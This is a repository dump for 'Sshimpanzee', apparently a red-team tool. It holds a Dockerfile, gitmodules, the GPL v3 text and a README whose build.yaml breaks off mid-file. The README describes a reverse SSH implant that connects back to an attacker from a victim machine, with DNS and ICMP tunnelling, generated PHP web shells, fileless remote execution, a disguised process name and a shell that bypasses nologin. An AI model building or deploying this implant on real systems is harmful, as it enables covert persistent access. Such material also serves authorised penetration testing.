[
  {
    "path": ".gitignore",
    "content": "openssh-portable/*\nkeys/\n*~\nsshd\nsrc/__pycache__\ntuns/__pycache__\nsubsystems/__pycache__\ntuns/libtun.a\n*.o\nutils/client/bin/dns2tcpd\nbuild/*\ntuns/combined/combiner_template_out.c"
  },
  {
    "path": ".gitmodules",
    "content": "[submodule \"openssh-portable\"]\n\tpath = openssh-portable\n\turl = https://github.com/openssh/openssh-portable.git\n[submodule \"tuns/dns2tcp\"]\n\tpath = tuns/dns2tcp\n\turl = https://github.com/alex-sector/dns2tcp.git\n[submodule \"tuns/proxysocket\"]\n\tpath = tuns/proxysocket\n\turl = https://github.com/brechtsanders/proxysocket\n[submodule \"tuns/icmptunnel\"]\n\tpath = tuns/icmptunnel\n\turl = https://github.com/DhavalKapil/icmptunnel.git\n[submodule \"tuns/enet\"]\n\tpath = tuns/enet\n\turl = https://github.com/lsalzman/enet\n[submodule \"tuns/websocket\"]\n\tpath = tuns/websocket\n\turl = https://github.com/payden/libwsclient.git\n[submodule \"utils/client/bin/interactive-python-websocket-server\"]\n\tpath = utils/client/bin/interactive-python-websocket-server\n\turl = https://github.com/TitouanLazard/interactive-python-websocket-server.git\n"
  },
  {
    "path": "Dockerfile",
    "content": "FROM alpine:3.19 AS build-stage-0\n\nRUN apk add autoconf gcc make  python3 git automake musl-dev build-base openssh-keygen binutils linux-headers py3-yaml libtool\nCOPY builder.py patch_openssh.diff build_root/\nCOPY openssh-portable build_root/openssh-portable/\nCOPY src build_root/src/\nCOPY tuns build_root/tuns/\nCOPY subsystems build_root/subsystems/\nCOPY .git build_root/.git/\nWORKDIR build_root\nRUN git submodule init; git submodule update --force --recursive --init --remote\nRUN git -C openssh-portable checkout 8241b9c0529228b4b86d88b1a6076fb9f97e4a99\nRUN git -C openssh-portable apply $(pwd)/patch_openssh.diff; \nRUN cd openssh-portable; autoreconf; \n\nFROM build-stage-0 AS build-stage-1\n\nRUN mkdir -p /build_root/build/\nRUN mkdir -p /build_root/keys/\n\nCOPY build.yaml /build_root/\n\nRUN python builder.py -c build.yaml 2>&1 | tee /build_root/build/build.log\nRUN cp /build_root/openssh-portable/sshd.h /build_root/build/ || true\n\nFROM scratch AS export-stage\nCOPY --from=build-stage-1 /build_root/build/ /build/\nCOPY --from=build-stage-1 /build_root/keys/ /keys/\n\n\n"
  },
  {
    "path": "LICENSE",
    "content": "\t\t     GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>."
  },
  {
    "path": "README.md",
    "content": "# Sshimpanzee\n__Sshimpanzee__ allows you to build a __static *reverse* ssh server__.\nInstead of listening on a port and waiting for connections, the ssh server will initiate a reverse connect to attacker's ip, just like a regular reverse shell.\n__Sshimpanzee__ allows you to take advantage of __every features of a regular ssh__ connection, like __port forwards, dynamic socks proxies, or FTP server__.\n\nMore importantly, if a direct connection from the victim machine to the attacker server is not possible, it provides different tunnelling mecanisms such as __DNS Tunnelling, ICMP Tunnelling, or HTTP Encapsulation__.\nIt also supports HTTP and SOCKS5 proxies.\nA [technical paper](https://blog.lexfo.fr/sshimpanzee.html) is available on lexfo's blog.\n\n## DOCKER BUILD - RECOMMENDED\n\n```\nsudo docker build . --output . \nsudo docker build . --platform arm64 --output . \n```\n\n> You might need to enable env var DOCKER_BUILDKIT=1 \n\n### Compilation file\n\nBuild is made based on the build.yaml file: \n\n```yaml\n\n###\n# This is sshimpanzee build configuration file\n# YAML is used to describe what behaviour and feature should the sshimpanzee get\n###\n\n### General config\n\nprocess_name: \"sshimpanzee\" # Name of the process as it appears in ps (yet you won't be able to kill it with this name)\n\n\nbanner: True # Should the banner be displayed at log\nverbose: 3 # Verbosity level as written in build/build.log\n\nshell: \"/bin/sh\" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell\ntimer: 60*1000*1000  # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is dead\n\nkeygen: True # Re generate keys during build, insure a new HOST and CLIENT keys is used\npublic_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported)\n#public key: \"ssh-ed25519 .... ROGUE@ROGUE\"\n\nmake: True # Keep it to true if you want the builder script to generate sshd binary\nforce_clean_build: True #Currently required for docker builds, will force builder script to recompile tunnels and dependances\nreconf: True # Required for docker builds\n\n\n### Environment\n# sshimpanzee is configured at runtime through environment variables, yet, it is possible to preset environment variable, to get a default behavior\n\n\nenv:\n  if_not_set : # Variable here will be set if they do not already exists\n    REMOTE: 127.0.0.1\n    PORT: 8080\n    MODE: sock # MODE environment variable is used to manage the default tunnel\n  overwrite: # Variable here will overwrite already existent \n    \n\n### Tunnels\n# sshimpanzee come with different tunneling mecanisms\n# To speed up compilation time, and more importantly to get a lighter binary it is possible to include or exclude some tunnels\n# Tunnel compilation parameters can be specified here \ntun:\n  sock:\n      enabled: True\n\n  icmp:\n      enabled: True\n      buildserv: True # should the corresponding ICMPTunnel server be built \n      raw_sock: False # build with support for raw sock for older kernels\n\n  http_enc :\n      enabled: True\n      key: # web shell key, empty will result in a new key being generated\n      target:\n        - \"php\" # list of language you want to generate webshells for \n      path_fd: \"/dev/shm/sshim\" # Fifo that sshimpanzee will use to communicate with webshells\n\n  dns:\n      enabled: True    \n      resource: sshimpanzee # DNS2TCP Resource\n      key: sshimpanzee # DNS2TCP key\n      obfuscate: True # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver\n      buildserv: False \n      qtype: TXT # Type of query used by DNS2TCP\n\n  proxysock:\n      enabled: True\n\n  no_build:\n      enabled: False \n      path: []\n\n# Openssh subsystems\n# man sshd_config Subsystems\n\nsubsystems:\n\n  internal_sftp: # standard sftp as provided by openssh \n    enabled: True # It is required for scp and sftp\n    name: sftp\n    exec: internal-sftp\n    is_internal: True\n    \n  remote_exec: # Sshimpanzee custom subsystem\n    enabled: True # remote execution using fileless memfd technique\n    name: remote-exec\n    exec: internal-remote-exec\n    is_internal: True\n\n  python: # example of a stadard ssh subsystem\n    enabled: False\n    name: python\n    